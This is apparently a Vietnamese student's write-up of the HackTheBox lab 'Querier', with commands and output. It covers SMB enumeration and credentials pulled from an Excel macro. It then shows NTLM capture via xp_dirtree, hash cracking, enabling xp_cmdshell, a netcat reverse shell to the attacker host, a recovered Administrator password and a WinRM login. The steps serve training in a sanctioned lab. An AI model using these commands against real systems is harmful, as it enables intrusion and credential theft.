



CyberJutsu – Report HackTheBox Lab Querier

**Kiều Đức Thiện - kieuthien.
Học viên cyberjutsu
Ngày 21 tháng 10 năm 2024**

Table of Content

1.	Overview.....	2
	1.1 Project Overview.....	2
	1.2 Evaluation Result.....	2
	1.3 Target.....	2
2.	Technicals Details.....	2
	2.1 Reconnaissance.....	2
	2.2 Initial Access.....	7
	2.3 Privilege Escalation.....	11
3.	Summary - Mapping MITRE ATT&CK.....	13

1. Overview

1.1. Project Overview

- ◆ Thực hiện đánh giá hệ thống: Lab QUERIER HTB.
- ◆ Đường dẫn: <https://www.hackthebox.com/machines/querier>
- ◆ Thời gian thực hiện đánh giá: Tháng 10/2024.
- ◆ Người thực hiện: Kiều Đức Thiện (kieuthien.).
- ◆ Công cụ: Nmap, Netcat, Visual Studio Code, Impacket-mssqlclient, smbclient, John-the-Ripper, Winpeas, Evil-WinRM.

1.2. Evaluation Result

Sau khi thực hiện đánh giá, ghi nhận kết quả như sau:

Mức Độ	Nghiêm trọng	Cao	Trung bình	Thấp
Số lượng lỗ hổng đã phát hiện	1	1	0	0

1.3. Target

Mục đích để phát hiện các điểm yếu bảo mật của các hệ thống mà từ đó kẻ tấn công có thể lợi dụng gây ảnh hưởng tới hệ thống, đánh cắp thông tin, chiếm quyền điều khiển hệ thống.

2. Technicals Details

2.1. Reconnaissance

Nmap scan

Đầu tiên, thực hiện scan port và các service tương ứng bằng **nmap**.
Target IP: 10.129.77.170 đã được thêm vào /etc/hosts dưới tên **querier.htb** để dễ dàng hơn trong việc tương tác với target.

```
(kali-attacker)$ nmap -sS -sC -sV -p- querier.htb
```

```
nmap -sS -sC -sV -p- querier.htb
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-08 11:00
CDT
Nmap scan report for querier.htb (10.129.146.2)
Host is up (0.0024s latency).
Not shown: 65521 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
1433/tcp   open  ms-sql-s     Microsoft SQL Server 2017
14.00.1000.00; RTM
| ms-sql-ntlm-info:
| 10.129.146.2:1433:
|   Target_Name: HTB
|   NetBIOS_Domain_Name: HTB
|   NetBIOS_Computer_Name: QUERIER
|   DNS_Domain_Name: HTB.LOCAL
|   DNS_Computer_Name: QUERIER.HTB.LOCAL
|   DNS_Tree_Name: HTB.LOCAL
|   Product_Version: 10.0.17763
| ms-sql-info:
| 10.129.146.2:1433:
|   Version:
|     name: Microsoft SQL Server 2017 RTM
|     number: 14.00.1000.00
|     Product: Microsoft SQL Server 2017
|     Service pack level: RTM
|     Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-10-08T15:24:42
|_ Not valid after: 2054-10-08T15:24:42
|_ ssl-date: 2024-10-08T16:02:02+00:00; 0s from scanner time.
5985/tcp   open  http         Microsoft HTTPAPI httpd 2.0(SSDP/UPnP)
|_ http-title: Not Found
|_ http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp  open  http         Microsoft HTTPAPI httpd 2.0
(SSDP/UPnP)
|_ http-title: Not Found
```

```
|_http-title: Not Found
49664/tcp open  msrpc      Microsoft Windows RPC
49665/tcp open  msrpc      Microsoft Windows RPC
49666/tcp open  msrpc      Microsoft Windows RPC
49667/tcp open  msrpc      Microsoft Windows RPC
49668/tcp open  msrpc      Microsoft Windows RPC
49669/tcp open  msrpc      Microsoft Windows RPC
49670/tcp open  msrpc      Microsoft Windows RPC
49671/tcp open  msrpc      Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
|   3:1:1:
|_  Message signing enabled but not required
| smb2-time:
|   date: 2024-10-08T16:01:55
|_  start_date: N/A
```

Phân tích kết quả của **nmap**, ta có các thông tin đáng chú ý sau:

- ◆ Target là Windows Server 2017, không bật Firewall
- ◆ Có các services:
 - ✧ SMB trên port 139/445
 - ✧ RPC trên port 135
 - ✧ Microsoft SQL Server 2017 trên port 1433
 - ✧ WinRM trên port 5985
- ◆ Đây là một Domain Controller và nằm trong domains, có một vài thông tin:
 - ✧ Domain name: HTB.LOCAL
 - ✧ Target name: HTB
 - ✧ Computer name: QUERIER.HTB.LOCAL

SMB enumeration

Anonymous login và null sessions

Sử dụng **smbclient** để kiểm tra, với null sessions ta hoàn toàn có thể login với tư cách anonymous và phát hiện có list ra các file và folder đang share ở SMB.

Có thể tham khảo trang web để sử dụng **smbclient**:

<https://wadcoms.github.io/>

```
(kali-attacker)$ smbclient -L '\\querier.htb' -N
```

```
(thien@thien)-[~]
$ smbclient -L '\\querier.htb' -N

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
IPC$           Disk      Remote IPC
Reports        Disk

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to querier.htb failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

(thien@thien)-[~]
$
```

- ◆ ADMIN\$ - Comment: Remote Admin
- ◆ C\$ - Comment: Default share
- ◆ IPC\$ - Comment: Remote IPC
- ◆ Reports - Comment:

Khi list ra, phát hiện 4 folder nhưng có 3 folder đặc biệt (có kí tự \$) hàm ý hidden chỉ có thể tương tác nếu đủ quyền hạn. Tuy nhiên có 1 folder “Reports” thì không có comment, tương tác với folder này.

```
(kali-attacker)$ smbclient '\\querier.htb\Reports' -N
```

```
(thien@thien)-[~]
$ smbclient '\\querier.htb\Reports' -N
Try "help" to get a list of possible commands.
smb: \> ls
.                D            0   Tue Jan 29 06:23:48 2019
..               D            0   Tue Jan 29 06:23:48 2019
Currency Volume Report.xlsm  A    12229  Mon Jan 28 05:21:34 2019

5158399 blocks of size 4096. 850631 blocks available
smb: \>
```

Tại đây có share 1 file 'Currency Volume Report.xlsm'.

XLSM là một định dạng file của Microsoft Excel cho phép chúng ta lưu trữ bảng tính Excel có chứa macro, cho phép tự động hóa các tác vụ phức tạp trong Excel. Do có thể chứa mã thực thi, nên cần cẩn trọng khi mở file .xlsm từ nguồn không đáng tin cậy vì Macro có thể bị lợi dụng để chứa mã độc.

Thử kéo file này về và tương tác:

```
(thien@thien) - [~/Documents/lab_querier/hack]
$ smbclient '\\querier.htb\Reports' -N
Try "help" to get a list of possible commands.
smb: \> ls
.                D            0   Tue Jan 29 06:23:48 2019
..               D            0   Tue Jan 29 06:23:48 2019
smb: \> ls
.                D            0   Tue Jan 29 06:23:48 2019
..               D            0   Tue Jan 29 06:23:48 2019
Currency Volume Report.xlsm  A      12229  Mon Jan 28 05:21:34 2019

5158399 blocks of size 4096. 850628 blocks available
smb: \> get "Currency Volume Report.xlsm"
```

File .xlsm thực chất là một file nén ZIP với cấu trúc đặc biệt. Bạn có thể giải nén nó để xem nội dung bên trong:

1. Đổi đuôi file từ .xlsm thành .zip
2. Giải nén file .zip bằng công cụ giải nén thông thường

```
(thien@thien) - [~/Documents/lab_querier/hack]
$ ls
'Currency Volume Report.xlsm'

(thien@thien) - [~/Documents/lab_querier/hack]
$ mv 'Currency Volume Report.xlsm' file.zip

(thien@thien) - [~/Documents/lab_querier/hack]
$ ls
file.zip

(thien@thien) - [~/Documents/lab_querier/hack]
$ unzip file.zip -d ./files_unzipped/
Archive:  file.zip
  inflating: ./files_unzipped/[Content_Types].xml
  inflating: ./files_unzipped/_rels/.rels
  inflating: ./files_unzipped/xl/workbook.xml
  inflating: ./files_unzipped/xl/_rels/workbook.xml.rels
  inflating: ./files_unzipped/xl/worksheets/sheet1.xml
  inflating: ./files_unzipped/xl/theme/theme1.xml
  inflating: ./files_unzipped/xl/styles.xml
  inflating: ./files_unzipped/xl/vbaProject.bin
  inflating: ./files_unzipped/docProps/core.xml
  inflating: ./files_unzipped/docProps/app.xml

(thien@thien) - [~/Documents/lab_querier/hack]
$ ls
files_unzipped  file.zip
```


Sau khi unzip thành công chúng ta thấy 1 file: "xl/vbaProject.bin" nhưng khó đọc được bằng mắt thường. Có thể dùng lệnh **strings** ở trong linux để có thể bóc tách ra các ascii text thuần. Phát hiện ra credentials login mssql đang định nghĩa cấu hình để connect vào Microsoft SQL Server.

```
(kali-attacker)$ strings vbaProject.bin
```

```
(thien@thien) - [~/lab_querier/hack/files_unzipped/xl]
$ strings vbaProject.bin
macro to pull data for client volume reports
n.Conn]
Open
rver=<
SELECT * FROM volume;
word>
MsgBox "connection successful"
Set rs = conn.Execute("SELECT * @@version;")
Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6
further testing required
***
```

Credentials connect tới Microsoft SQL Server thu thập được:

- ◆ Server=**QUERIER**
- ◆ Uid=**reporting**
- ◆ Pwd=**PcwTWTHRwryjc\$c6**

Summary

Sau khi reconnaissance bằng **nmap** và **smbclient** thu được 1 credentials login vào Microsoft SQL Server và đồng thời có cổng port 1433 đang được mở ra ngoài internet. Nhờ đó chúng ta có thể login với credential vừa thu thập được.

2.2. Initial Access

Login MSSQL

Để connect trực tiếp tới mssql ta có thể dùng tool **impacket-mssqlclient** và sử dụng credentials vừa thu thập để login.

```
(Kali-attacker)$ impacket-mssqlclient -windows-auth
'reporting:PcwTWTHRwryjc$c6@querier.htb'
```

```
(thien@thien) - [~/lab_querier/hack/files_unzipped/xl]
$ impacket-mssqlclient -windows-auth 'Reporting:PcwTWTHRwryjc$c6@querier.htb'
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL (QUERIER\reporting reporting@volume)> help
```


Có thể tham khảo :

<https://unclesp1d3r.github.io/posts/2023/02/how-to-use-impacket-example-scripts-to-access-microsoft-sql-server-from-linux/>

Tới đây ta có thể hoàn toàn tương tác với Microsoft SQL Server và có thể chạy các câu query bất kì. Lúc này có thể thực thi các lệnh query với tư cách “Reports” nhưng chỉ có quyền CONNECT SQL và VIEW ANY DATABASE. Tuy nhiên trong Microsoft SQL Server có hàm xp_dirtree cho phép list ra 1 folder path và có thể sử dụng UNC path. Vậy lợi dụng nó để authenticate qua máy server kali(IP:10.10.14.62) của attacker, lúc này NTLM thực hiện giao thức và phía attacker có được NTLM response của service đang chạy SQL.

```
{ (kali-attacker)$ impacket-smbserver -smb2support SHARE .
(SQL-reports)> xp_dirtree '\\10.10.14.62\SHARE\'
```

```
(thien@thien) - [~/Documents/lab_querier/hack]
$ impacket-smbserver -smb2support SHARE .
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

Bây giờ từ SQL list các folder được share để NTLM thực hiện giao thức và authenticate đến máy server kali(IP:10.10.14.62).

```
SQL (QUERIER\reporting reporting@volume)> xp_dirtree \\10.10.14.62\SHARE\
subdirectory depth file
-----
SQL (QUERIER\reporting reporting@volume)>
```

Kết quả thu được ở máy kali :

[illegible]


Thu được NTLM response của user “mssql-svc”.

Crack password hash

Sau khi có được NTLM Response , lưu đoạn mã NTLMv2 thành file mssql-svc-hash. Tiếp theo chúng ta dùng tool John-the-Ripper với world list rockyou.txt để crack:

```
(kali-attacker)$ john --wordlist=/usr/share/wordlists/rockyou.txt mssql-svc-hash
```

```

•  (thien@thien) - [~/Documents/lab_querier/hack/credential]
  $ john -w=/usr/share/wordlists/rockyou.txt mssql_svc_hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
corporate568 (mssql-svc)
1g 0:00:01:01 DONE (2024-09-30 12:53) 0.01613g/s 144539p/s 144539c/s 144539C/s correforenz.cornamuckla
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.

```

Sau khi crack thành công , ta có được credentials của user mssql-svc:
mssql-svc:corporate568

Login MSSQL with credentials mssql-svc

Chúng ta lấy credentials vừa crack được để đăng nhập vào SQL Server:

```
(kali-attacker)$ impacket-mssqlclient -windows-auth  
mssql-svc:corporate568@querier.htb
```

Giờ chúng ta đã đăng nhập với tư cách của “mssql-svc” và có 1 số quyền quan trọng : AUTHENTICATE SERVER, SHUTDOWN, CONTROL SERVER. ...

Trong Microsoft SQL Server có 1 hàm nguy hiểm là `xp_cmdshell` cho phép người dùng thực thi các lệnh shell trực tiếp trên máy chủ MSSQL. Mặc định, tính năng `xp_cmdshell` trong MSSQL bị vô hiệu hóa để đảm bảo an toàn. Tuy nhiên ta có thể khi chạy hàm `enable_xp_cmdshell` sẽ kích hoạt lại tính năng này, giúp bạn có thể sử dụng `xp_cmdshell`.

```
SQL (QUERIER\mssql-svc dbo@master)> enable_xp_cmdshell
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (QUERIER\mssql-svc dbo@master)> xp_cmdshell whoami
output
-----
querier\mssql-svc
```

Bây giờ ta có thể chạy mọi lệnh command với tư cách là querier\mssql-svc nhờ đó chúng ta có thể tạo Reverse Shell để dễ dàng tương tác với máy nạn nhân. Ở máy chúng ta mở SMB share 1 file nc.exe và dùng công cụ `nc` có sẵn trong kali để lắng nghe Reverse Shell trả về.

```
{
  (SQL-mssql-svc)> xp_cmdshell \\10.10.14.62\SHARE\nc.exe
  10.10.14.62 6666 -e cmd.exe

  (kali-attacker)$ rlwrap -cAr nc -lvp 6666
}
```

```
(thien@thien) - [~/Documents/lab_querier]
$ rlwrap -cAr nc -lvp 6666
listening on [any] 6666 ...
connect to [10.10.14.62] from querier.htb [10.129.77.170] 49687
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
querier\mssql-svc

C:\Windows\system32>type C:\Users\mssql-svc\Desktop\user.txt
type C:\Users\mssql-svc\Desktop\user.txt
d8efb3e70fafaa8b7a5a9cb1532aa7ed
```

Thực hiện kết nối thành công và có được flag của User ở :

```
C:\Users\mssql-svc\Desktop\user.txt
```


Trong kết quả trả về này có credentials của Administrator.

```
C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
Found C:\ProgramData\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
  UserName: Administrator
  NewName: [BLANK]
  cPassword: MyUnclesAreMarioAndLuigi!!!
  Changed: 2019-01-28 23:12:48
Found C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
  UserName: Administrator
  NewName: [BLANK]
  cPassword: MyUnclesAreMarioAndLuigi!!!
  Changed: 2019-01-28 23:12:48
```

Ta có được credentials của user administrator:

Administrator:MyUnclesAreMarioAndLuigi!!!

Exploit - Evil-WinRM

Đến đây đã có credentials của administrator và khi recon thấy server đang mở cổng 5985 (WinRM) chúng ta có thể tận dụng để connect trực tiếp tới hệ thống với credentials đã có được.

```
(kai-attacker)$ evil-winrm -u administrator -p
'MyUnclesAreMarioAndLuigi!!!' -i querier.htb
```

```
thien@thien:~$ sudo su
[sudo] password for thien:
thien@thien:~$ evil-winrm -u administrator -p 'MyUnclesAreMarioAndLuigi!!!' -i querier.htb
Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
querier/administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> type c:\users\administrator\desktop\root.txt
688c48c5d364734c7498cb5f1775d319
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

Lúc này ta đã có hoàn toàn điều khiển hệ thống với tư cách là administrator và có được flag ở:

C:\Users\Administrator\Destop\root.txt

3. Summary - Mapping MITRE ATT&CK

Tactics: Reconnaissance

Threat Actor Technique / Sub-Techniques	Threat Actor Procedure(s)
Active Scanning [T1595]	Kẻ tấn công đã thực hiện trình sát target để thu thập các thông tin sơ lược như IP, các port được mở và các service tương ứng. Từ đó mà kẻ tấn công đã thu thập được danh sách các user đang tồn tại trên target để phục vụ cho các giai đoạn sau

Tactics: Initial Access

Threat Actor Technique / Sub-Techniques	Threat Actor Procedure(s)
Valid Accounts [T1078] Domain Accounts [T1078.002]	Kẻ tấn công truy cập vào target thông qua các legit credentials bằng các tactic credentials access Note: còn được sử dụng cho Privilege Escalation

Tactics: Discovery

Threat Actor Technique / Sub-Techniques	Threat Actor Procedure(s)
Exploitationfor Privilege Escalation[T1068]	Kẻ tấn công sử dụng các công cụ(winpeas) để khai thác lỗ hổng Windows nhằm mục đích leo thang đặc quyền.

Tactics: Credential Access

Threat Actor Technique / Sub-Techniques	Threat Actor Procedure(s)
Credentials from Password Stores [T1555] Windows Credential Manager [T1555.004] Adversary-in-the-Middle [T1557]	Kẻ tấn công có thể lấy được thông tin xác thực từ Windows Credential Manager. Trình quản lý thông tin xác thực lưu trữ thông tin xác thực để đăng nhập vào các trang web, ứng dụng và/hoặc thiết bị yêu cầu xác thực thông qua NTLM.
Unsecured Credentials [T1552]	Kẻ tấn công có thể lấy được credentials của administrator trong file.